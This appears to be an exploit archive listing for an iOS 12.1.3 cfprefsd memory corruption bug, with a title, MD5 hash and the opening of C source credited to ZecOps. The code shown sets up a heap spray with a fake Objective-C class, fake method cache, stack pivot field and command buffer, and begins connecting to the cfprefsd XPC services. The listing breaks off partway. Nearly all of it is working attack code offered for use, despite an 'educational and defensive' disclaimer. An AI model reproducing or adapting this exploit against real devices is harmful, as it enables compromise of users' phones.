iOS 12.1.3 cfprefsd Memory Corruption

iOS version 12.1.3 cfprefsd memory corruption exploit.


MD5 | 5f2945567a2b5f4158fe44116484e39d

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// (c) 2019 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
// Intended only for educational and defensive purposes only. 
// Use at your own risk.
 
#include <xpc/xpc.h>
#import <pthread.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
 
#define AGENT 1
 
#define FILL_DICT_COUNT 0x600
#define FILL_COUNT 0x1000
#define FREE_COUNT 0x2000
#define FILL_SIZE (0xc0)
 
int need_stop = 0;
 
struct heap_spray {
    void* fake_objc_class_ptr;
    uint32_t r10;
    uint32_t r4;
    void* fake_sel_addr;
    uint32_t r5;
    uint32_t r6;
    uint64_t cmd;
    uint8_t pad1[0x3c];
    uint32_t stack_pivot;
    struct fake_objc_class_t {
        char pad[0x8];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    char command[32];
};
 
void fill_once(){
     
#if AGENT
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
#else
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
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